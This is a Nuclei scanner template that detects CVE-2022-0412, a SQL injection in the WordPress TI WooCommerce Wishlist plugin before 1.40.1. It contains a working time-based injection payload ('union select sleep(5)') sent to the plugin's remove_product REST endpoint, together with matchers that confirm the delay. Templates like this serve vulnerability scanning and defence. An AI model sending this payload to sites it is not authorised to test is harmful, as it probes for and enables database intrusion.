id: CVE-2022-0412 info: name: WordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection author: edoardottt severity: critical description: | WordPress TI WooCommerce Wishlist plugin before 1.40.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the item_id parameter before using it in a SQL statement via the wishlist/remove_product REST endpoint. reference: - https://wpscan.com/vulnerability/e984ba11-abeb-4ed4-9dad-0bfd539a9682 - https://wordpress.org/plugins/ti-woocommerce-wishlist/advanced/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0412 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0412 cwe-id: CWE-89 metadata: verified: "true" tags: sqli,ti-woocommerce-wishlist,wpscan,cve,cve2022,woocommerce,wordpress,wp-plugin,wp requests: - raw: - | @timeout: 10s GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - 'duration>=5' - type: word part: body words: - 'Product not found' - type: status status: - 400 # Enhanced by mp on 2022/10/12